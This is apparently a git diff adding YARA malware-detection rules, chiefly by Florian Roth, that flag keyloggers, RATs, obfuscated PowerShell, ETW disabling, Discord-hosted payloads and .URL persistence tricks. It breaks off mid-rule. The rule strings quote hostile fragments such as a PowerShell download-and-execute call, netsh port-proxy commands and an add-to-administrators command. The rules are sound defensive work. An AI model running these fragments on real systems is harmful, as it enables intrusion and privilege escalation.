+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-03-23"
+      score = 65
+      id = "190daadb-0de6-5665-a241-95c374dbda47"
+   strings:
+      $ = "\\Release\\PrivilegeEscalation"
+      $ = "\\Release\\KeyLogger"
+      $ = "\\Debug\\PrivilegeEscalation"
+      $ = "\\Debug\\KeyLogger"
+      $ = "Backdoor\\KeyLogger_"
+      $ = "\\ShellCode\\Debug\\"
+      $ = "\\ShellCode\\Release\\"
+      $ = "\\New Backdoor"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB
+      and 1 of them
+}
+
+rule SUSP_Microsoft_Copyright_String_Anomaly_2 {
+   meta:
+      description = "Detects Floxif Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-11"
+      score = 60
+      hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
+      id = "3257aff0-b923-5e56-b67c-fa676341a102"
+   strings:
+      $s1 = "Microsoft(C) Windows(C) Operating System" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 1 of them
+}
+
+rule SUSP_LNK_File_AppData_Roaming {
+   meta:
+      description = "Detects a suspicious link file that references to AppData Roaming"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
+      date = "2018-05-16"
+      score = 50
+      id = "d905e58f-ae2e-5dc2-b206-d0435b023df0"
+   strings:
+      $s2 = "AppData" fullword wide
+      $s3 = "Roaming" fullword wide
+      /* .exe\x00C:\Users\ */
+      $s4 = { 00 2E 00 65 00 78 00 65 00 2E 00 43 00 3A 00 5C
+              00 55 00 73 00 65 00 72 00 73 00 5C }
+   condition:
+      uint16(0) == 0x004c and uint32(4) == 0x00021401 and (
+         filesize < 1KB and
+         all of them
+      )
+}
+
+rule SUSP_LNK_File_PathTraversal {
+   meta:
+      description = "Detects a suspicious link file that references a file multiple folders lower than the link itself"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
+      date = "2018-05-16"
+      score = 40
+      id = "f4f6709f-9c4d-5f0c-9826-97444d282adc"
+   strings:
+      $s1 = "..\\..\\..\\..\\..\\"
+   condition:
+      uint16(0) == 0x004c and uint32(4) == 0x00021401 and (
+         filesize < 1KB and
+         all of them
+      )
+}
+
+rule SUSP_Script_Obfuscation_Char_Concat {
+   meta:
+      description = "Detects strings found in sample from CN group repo leak in October 2018"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
+      date = "2018-10-04"
+      hash1 = "b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b"
+      id = "6d3bfdfd-ef8f-5740-ac1f-5835c7ce0f43"
+   strings:
+      $s1 = "\"c\" & \"r\" & \"i\" & \"p\" & \"t\"" ascii
+   condition:
+      1 of them
+}
+
+rule SUSP_PowerShell_IEX_Download_Combo {
+   meta:
+      description = "Detects strings found in sample from CN group repo leak in October 2018"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
+      date = "2018-10-04"
+      hash1 = "13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5"
+      id = "1dfedcb0-345c-548c-85ac-3c1e78bfd9e2"
+   strings:
+      $x1 = "IEX ((new-object net.webclient).download" ascii nocase
+
+      $fp1 = "chocolatey.org"
+      $fp2 = "Remote Desktop in the Appveyor"
+      $fp3 = "/appveyor/" ascii
+   condition:
+      $x1 and not 1 of ($fp*)
+}
+
+rule SUSP_Win32dll_String {
+   meta:
+      description = "Detects suspicious string in executables"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@Sebdraven/apt-sidewinder-changes-theirs-ttps-to-install-their-backdoor-f92604a2739"
+      date = "2018-10-24"
+      hash1 = "7bd7cec82ee98feed5872325c2f8fd9f0ea3a2f6cd0cd32bcbe27dbbfd0d7da1"
+      id = "b1c78386-c23d-5138-942a-3da90e5802cc"
+   strings:
+      $s1 = "win32dll.dll" fullword ascii
+   condition:
+      filesize < 60KB and all of them
+}
+
+rule SUSP_Modified_SystemExeFileName_in_File {
+   meta:
+      description = "Detecst a variant of a system file name often used by attackers to cloak their activity"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
+      date = "2018-12-11"
+      score = 65
+      hash1 = "5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a"
+      hash2 = "f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e"
+      id = "97d91e1b-49b8-504e-9e9c-6cfb7c2afe41"
+   strings:
+      $s1 = "svchosts.exe" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 1 of them
+}
+
+rule SUSP_JAVA_Class_with_VBS_Content {
+   meta:
+      description = "Detects a JAVA class file with strings known from VBS files"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.menlosecurity.com/blog/a-jar-full-of-problems-for-financial-services-companies"
+      date = "2019-01-03"
+      score = 60
+      hash1 = "e0112efb63f2b2ac3706109a233963c19750b4df0058cc5b9d3fa1f1280071eb"
+      id = "5c1433e2-e2af-52aa-8a8c-691aaf15760d"
+   strings:
+      $a1 = "java/lang/String" ascii
+
+      $s1 = ".vbs" ascii
+      $s2 = "createNewFile" fullword ascii
+      $s3 = "wscript" fullword ascii nocase
+   condition:
+      ( uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca ) and filesize < 100KB and $a1 and 3 of ($s*)
+}
+
+rule SUSP_RAR_with_PDF_Script_Obfuscation {
+   meta:
+      description = "Detects RAR file with suspicious .pdf extension prefix to trick users"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-04-06"
+      hash1 = "b629b46b009a1c2306178e289ad0a3d9689d4b45c3d16804599f23c90c6bca5b"
+      id = "a3d2f5e9-3052-551b-8b2c-abcdd1ac2e48"
+   strings:
+      $s1 = ".pdf.vbe" ascii
+      $s2 = ".pdf.vbs" ascii
+      $s3 = ".pdf.ps1" ascii
+      $s4 = ".pdf.bat" ascii
+      $s5 = ".pdf.exe" ascii
+   condition:
+      uint32(0) == 0x21726152 and 1 of them
+}
+
+rule SUSP_Netsh_PortProxy_Command {
+   meta:
+      description = "Detects a suspicious command line with netsh and the portproxy command"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy"
+      date = "2019-04-20"
+      score = 65
+      hash1 = "9b33a03e336d0d02750a75efa1b9b6b2ab78b00174582a9b2cb09cd828baea09"
+      id = "cbbd2042-572c-5283-bd45-e745b36733ad"
+   strings:
+      $x1 = "netsh interface portproxy add v4tov4 listenport=" ascii
+   condition:
+      1 of them
+}
+
+rule SUSP_DropperBackdoor_Keywords {
+   meta:
+      description = "Detects suspicious keywords that indicate a backdoor"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
+      date = "2019-04-24"
+      hash1 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
+      id = "2942ba6d-a533-5954-bfcf-417262e2fac2"
+   strings:
+      $x4 = "DropperBackdoor" fullword wide ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule SUSP_SFX_cmd {
+   meta:
+      description = "Detects suspicious SFX as used by Gamaredon group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-27"
+      hash1 = "965129e5d0c439df97624347534bc24168935e7a71b9ff950c86faae3baec403"
+      id = "87e75fe6-c2d7-5cb4-9432-7c37dbfe94b8"
+   strings:
+      $s1 = /RunProgram=\"hidcon:[a-zA-Z0-9]{1,16}.cmd/ fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule SUSP_XMRIG_Reference {
+   meta:
+      description = "Detects an executable with a suspicious XMRIG crypto miner reference"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/itaitevet/status/1141677424045953024"
+      date = "2019-06-20"
+      score = 70
+      id = "0a7324ce-90dc-5e6a-b22a-c29eccf324e9"
+   strings:
+      $x1 = "\\xmrig\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule SUSP_Just_EICAR {
+   meta:
+      description = "Just an EICAR test file - this is boring but users asked for it"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://2016.eicar.org/85-0-Download.html"
+      date = "2019-03-24"
+      score = 40
+      hash1 = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
+      id = "e5eedd77-36e2-56a0-be0c-2553043c225a"
+   strings:
+      $s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
+   condition:
+      uint16(0) == 0x3558 and filesize < 70 and $s1 at 0
+}
+
+rule SUSP_PDB_Path_Keywords {
+   meta:
+      description = "Detects suspicious PDB paths"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/stvemillertime/status/1179832666285326337?s=20"
+      date = "2019-10-04"
+      id = "cbd9b331-58bb-5b29-88a2-5c19f12893a9"
+   strings:
+      $ = "Debug\\Shellcode" ascii
+      $ = "Release\\Shellcode" ascii
+      $ = "Debug\\ShellCode" ascii
+      $ = "Release\\ShellCode" ascii
+      $ = "Debug\\shellcode" ascii
+      $ = "Release\\shellcode" ascii
+      $ = "shellcode.pdb" nocase ascii
+      $ = "\\ShellcodeLauncher" ascii
+      $ = "\\ShellCodeLauncher" ascii
+      $ = "Fucker.pdb" ascii
+      $ = "\\AVFucker\\" ascii
+      $ = "ratTest.pdb" ascii
+      $ = "Debug\\CVE_" ascii
+      $ = "Release\\CVE_" ascii
+      $ = "Debug\\cve_" ascii
+      $ = "Release\\cve_" ascii
+   condition:
+      uint16(0) == 0x5a4d and 1 of them
+}
+
+rule SUSP_Disable_ETW_Jun20_1 {
+   meta:
+      description = "Detects method to disable ETW in ENV vars before executing a program"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3"
+      date = "2020-06-06"
+      id = "ea5dee09-959e-5ef2-8f84-5497bdef0a05"
+   strings:
+      $x1 = "set COMPlus_ETWEnabled=0" ascii wide fullword
+      $x2 = "$env:COMPlus_ETWEnabled=0" ascii wide fullword
+
+      $s1 = "Software\\Microsoft.NETFramework" ascii wide
+      $sa1 = "/v ETWEnabled" ascii wide fullword 
+      $sa2 = " /d 0" ascii wide
+      $sb4 = "-Name ETWEnabled"
+      $sb5 = " -Value 0 "
+   condition:
+      1 of ($x*) or 3 of them 
+}
+
+rule SUSP_PE_Discord_Attachment_Oct21_1 {
+   meta:
+      description = "Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-10-12"
+      score = 70
+      id = "7c217350-4a35-505d-950d-1bc989c14bc2"
+   strings:
+      $x1 = "https://cdn.discordapp.com/attachments/" ascii wide
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 5000KB 
+      and 1 of them
+}
+
+rule SUSP_Encoded_Discord_Attachment_Oct21_1 {
+   meta:
+      description = "Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-10-12"
+      score = 70
+      id = "06c086f4-8b79-5506-9e3f-b5d099106157"
+   strings:
+      /* base64 encoded forms */
+      $enc_b01 = "Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz" ascii wide
+      $enc_b02 = "Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50c" ascii wide
+      $enc_b03 = "jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudH" ascii wide
+      $enc_b04 = "AGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABz" ascii wide
+      $enc_b05 = "BjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAc" ascii wide
+      $enc_b06 = "AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AH" ascii wide
+
+      /* hex encoded forms */
+      $enc_h01 = "63646E2E646973636F72646170702E636F6D2F6174746163686D656E7473" ascii wide
+      $enc_h02 = "63646e2e646973636f72646170702e636f6d2f6174746163686d656e7473" ascii wide
+
+      /* reversed string */
+      $enc_r01 = "stnemhcatta/moc.ppadrocsid.ndc" ascii wide
+   condition:
+      filesize < 5000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_sysinternals_anomaly.yar b/yara-Neo23x0/gen_sysinternals_anomaly.yar
new file mode 100644
index 0000000..6d3bbe7
--- /dev/null
+++ b/yara-Neo23x0/gen_sysinternals_anomaly.yar
@@ -0,0 +1,31 @@
+/*
+	Yara Rule Set
+	Author: FLorian Roth
+	Date: 2016-12-08
+	Identifier: Modified SysInternals Tools
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SysInternals_Tool_Anomaly {
+   meta:
+      description = "SysInternals Tool Anomaly - does not contain Mark Russinovich as author"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 50
+      reference = "Internal Research"
+      date = "2016-12-06"
+      id = "b676726b-7ecd-52ed-bdec-3d81b7596246"
+   strings:
+      $s1 = "Software\\Sysinternals\\%s" fullword ascii
+
+      $n1 = "Mark Russinovich" wide ascii
+
+      $nfp1 = "<<<Obsolete>>>" fullword wide
+      $nfp2 = "BGInfo - Wallpaper text configurator" wide
+      $nfp3 = "usage: movefile [source] [dest]" wide
+      $nfp4 = "LoadOrder information has been copied" wide
+      $nfp5 = "Cache working set cleared" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and $s1 and not $n1 and not 1 of ($nfp*) )
+}
diff --git a/yara-Neo23x0/gen_tempracer.yar b/yara-Neo23x0/gen_tempracer.yar
new file mode 100644
index 0000000..0d92cba
--- /dev/null
+++ b/yara-Neo23x0/gen_tempracer.yar
@@ -0,0 +1,27 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-30
+	Identifier: TempRacer
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TempRacer {
+	meta:
+		description = "Detects privilege escalation tool - file TempRacer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
+		date = "2016-03-30"
+		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
+		id = "edba6471-9720-5aad-8c15-386197700c83"
+	strings:
+		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
+		$s2 = "[+] Injecting into " fullword wide
+		$s3 = "net localgroup administrators alex /add" fullword wide
+		$s4 = "[+] File: {0} renamed to {1}" fullword wide
+		$s5 = "[+] Blocking " fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and 1 of them ) or ( 4 of them )
+}
diff --git a/yara-Neo23x0/gen_thumbs_cloaking.yar b/yara-Neo23x0/gen_thumbs_cloaking.yar
new file mode 100644
index 0000000..68b59d1
--- /dev/null
+++ b/yara-Neo23x0/gen_thumbs_cloaking.yar
@@ -0,0 +1 @@
+/* moved to yara_mixed_ext_vars.yar */
diff --git a/yara-Neo23x0/gen_transformed_strings.yar b/yara-Neo23x0/gen_transformed_strings.yar
new file mode 100644
index 0000000..59fae3f
--- /dev/null
+++ b/yara-Neo23x0/gen_transformed_strings.yar
@@ -0,0 +1,56 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-31
+	Identifier: Transformed Strings
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Typical_Malware_String_Transforms {
+	meta:
+		description = "Detects typical strings in a reversed or otherwise modified form"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-31"
+		score = 60
+		id = "86f348b5-0564-5d83-bbea-4f4a5f62fd30"
+	strings:
+		/* Executables */
+		$e1 = "exe.tsohcvs" fullword ascii
+		$e2 = "exe.ssasl" fullword ascii
+		$e3 = "exe.rerolpxe" fullword ascii
+		$e4 = "exe.erolpxei" fullword ascii
+		$e5 = "exe.23lldnur" fullword ascii
+		$e6 = "exe.dmc" fullword ascii
+		$e7 = "exe.llikksat" fullword ascii
+
+		/* Libraries */
+		$l1 = "lld.23lenreK" fullword ascii
+		$l2 = "lld.ESABLENREK" fullword ascii
+		$l3 = "lld.esabtpyrc" fullword ascii
+		$l4 = "lld.trcvsm" fullword ascii
+		$l5 = "LLD.LLDTN" fullword ascii
+
+		/* Imports */
+		$i1 = "paeHssecorPteG" fullword ascii
+		$i2 = "sserddAcorPteG" fullword ascii
+		$i3 = "AyrarbiLdaoL" fullword ascii
+		$i4 = "AssecorPetaerC" fullword ascii
+
+		/* Registry */
+		$r1 = "teSlortnoCtnerruC" fullword ascii
+		$r2 = "nuR\\noisreVtnerruC" fullword ascii
+
+		/* Folders */
+		$f1 = "\\23metsys\\" ascii
+		$f2 = "\\23metsyS\\" ascii
+		$f3 = "niB.elcyceR$" fullword ascii
+		$f4 = "%tooRmetsyS%" fullword ascii
+
+		/* False Positives */
+		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and 1 of them and not 1 of ($fp*) )
+}
diff --git a/yara-Neo23x0/gen_tscookie_rat.yar b/yara-Neo23x0/gen_tscookie_rat.yar
new file mode 100644
index 0000000..30c6168
--- /dev/null
+++ b/yara-Neo23x0/gen_tscookie_rat.yar
@@ -0,0 +1,32 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-06
+   Identifier: TSCookie RAT
+   Reference: http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule TSCookie_RAT {
+   meta:
+      description = "Detects TSCookie RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html"
+      date = "2018-03-06"
+      hash1 = "2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d"
+      id = "a2b6c598-4498-5c0a-9257-b0bf6cd28de9"
+   strings:
+      $x1 = "[-] DecryptPassword_Outlook failed(err=%d)" fullword ascii
+      $x2 = "----------------------- Firefox Passwords ------------------" fullword ascii
+      $x3 = "--------------- Outlook Passwords ------------------" fullword ascii
+      $x4 = "----------------------- IE Passwords ------------------" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         ( pe.exports("DoWork") and pe.exports("PrintF") ) or
+         1 of them
+      )
+}
diff --git a/yara-Neo23x0/gen_unicorn_obfuscated_powershell.yar b/yara-Neo23x0/gen_unicorn_obfuscated_powershell.yar
new file mode 100644
index 0000000..24e5ac0
--- /dev/null
+++ b/yara-Neo23x0/gen_unicorn_obfuscated_powershell.yar
@@ -0,0 +1,26 @@
+rule gen_unicorn_obfuscated_powershell {
+    meta:
+        description = "PowerShell payload obfuscated by Unicorn toolkit"
+        author = "John Lambert @JohnLaTwC"
+        date = "2018-04-03"
+        hash = "b93d2fe6a671a6a967f31d5b3a0a16d4f93abcaf25188a2bbdc0894087adb10d"
+        hash2 = "1afb9795cb489abce39f685a420147a2875303a07c32bf7eec398125300a460b"
+        reference = "https://github.com/trustedsec/unicorn/"
+        id = "0235795b-6d0b-5bba-8ae6-606c3b613c86"
+    strings:
+        $h1 = "powershell"
+        $sa1 = ".value.toString() 'JAB"
+        $sa2 = ".value.toString() ('JAB"
+        $sb1 = "-w 1 -C \"s"
+        $sb2 = "/w 1 /C \"s"        
+    condition:
+        filesize < 20KB
+        and uint32be(0) == 0x706f7765
+        and $h1 at 0
+        and (
+           uint16be(filesize-2) == 0x2722 or  /* Footer 1 */
+           ( uint16be(filesize-2) == 0x220a and uint8(filesize-3) == 0x27 )  or /* Footer 2 */
+           ( uint16be(filesize-2) == 0x2922 and uint8(filesize-3) == 0x27 )  /* Footer 3 */
+        )
+        and ( 1 of ($sa*) and 1 of ($sb*) )
+}
diff --git a/yara-Neo23x0/gen_unsigned_thor.yar b/yara-Neo23x0/gen_unsigned_thor.yar
new file mode 100644
index 0000000..9441f5c
--- /dev/null
+++ b/yara-Neo23x0/gen_unsigned_thor.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+
+rule SUSP_THOR_Unsigned_Oct23_1 {
+   meta:
+      description = "Detects unsigned version of THOR scanner, which could be a backdoored / modified version of the scanner"
+      author = "Florian Roth"
+      reference = "Internal Research"
+      date = "2023-10-28"
+      score = 75
+      id = "2ca6a192-675e-5f02-a7b1-40369eeb9904"
+   strings:
+      $s1 = "THOR APT Scanner" wide fullword
+      $s2 = "Nextron Systems GmbH" wide fullword
+
+      /* OriginalFilename\x00thor */
+      $sc1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 74 00 68 00 6F 00 72 } 
+   condition:
+      uint16(0) == 0x5a4d
+      and all of them
+      and pe.number_of_signatures == 0
+}
diff --git a/yara-Neo23x0/gen_unspecified_malware.yar b/yara-Neo23x0/gen_unspecified_malware.yar
new file mode 100644
index 0000000..e524d80
--- /dev/null
+++ b/yara-Neo23x0/gen_unspecified_malware.yar
@@ -0,0 +1,26 @@
+/* Unspecified Malware */
+
+rule Unspecified_Malware_Jul17_2C {
+   meta:
+      description = "Unspecified Malware - CN relation"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/CX3KaY"
+      date = "2017-07-18"
+      hash1 = "e8156ec1706716cada6f57b6b8ccc9fb0eb5debe906ac45bdc2b26099695b8f5"
+      id = "91e760e8-7460-54af-a794-0b41a4b19760"
+   strings:
+      $x1 = "%AllUsersProfile%\\DeviceSync\\m.exe" fullword wide
+      $x2 = "freenow.chickenkiller.com" fullword ascii
+      $x3 = "\\Release\\PhantomNet-SSL.pdb" ascii
+
+      $s1 = "SELECT * FROM AntiVirusProduct" fullword ascii
+      $s2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%08X-%04X-%04X-%02X%02X%02X%02X" fullword ascii
+      $s3 = "Proxy-Authenticate: Basic" fullword ascii
+      $s4 = "Proxy-Authenticate: NTLM" fullword ascii
+      $s5 = "Root\\SecurityCenter2" fullword wide
+      $s6 = "aaabbbcccddd" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and ( 1 of ($x*) or 4 of ($s*) ) ) or
+      ( all of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_url_persitence.yar b/yara-Neo23x0/gen_url_persitence.yar
new file mode 100644
index 0000000..62b0106
--- /dev/null
+++ b/yara-Neo23x0/gen_url_persitence.yar
@@ -0,0 +1,297 @@
+
+rule Methodology_Suspicious_Shortcut_Local_URL
+{
+  meta:
+    author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
+    description = "Detects local script usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "438d9323-cb6a-5f5d-af71-76692b93436a"
+  strings:
+    $file = "URL=file:///" nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $file and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_SMB_URL
+{
+  meta:
+    author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
+    description = "Detects remote SMB path for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    sample = "e0bef7497fcb284edb0c65b59d511830"
+    score = 50
+    date = "27.09.2019"
+    id = "e23609a1-9b18-5a56-92ee-c7f84c966865"
+  strings:
+    $file = /URL=file:\/\/[a-z0-9]/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $file and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+/* many FPs
+rule Methodology_Suspicious_Shortcut_IconRemote_HTTP
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 40
+    date = "27.09.2019"
+  strings:
+    $icon = /IconFile\s*=\s*http/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $icon and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+*/
+
+rule Methodology_Suspicious_Shortcut_IconRemote_SMBorLocal
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "This is the syntax used for NTLM hash stealing via Responder - https://www.securify.nl/nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html"
+    reference = "https://twitter.com/ItsReallyNick/status/1176241449148588032"
+    score = 50
+    date = "27.09.2019"
+    id = "9362ce46-265c-5215-bee1-3d784d0cb928"
+  strings:
+    $icon = "IconFile=file://" nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $icon and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Shortcut_HotKey
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "0ce377c4-db9b-59fa-987b-a77eaf408765"
+  strings:
+    $hotkey = /[\x0a\x0d]HotKey=[1-9]/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $hotkey and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_BaseURLSyntax
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "cab7b573-d197-5afc-95a9-ef05a07c2b7a"
+  strings:
+    $baseurl1 = "BASEURL=file://" nocase
+    $baseurl2 = "[DEFAULT]" nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    all of ($baseurl*) and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Contains_Shortcut_OtherURIhandlers
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
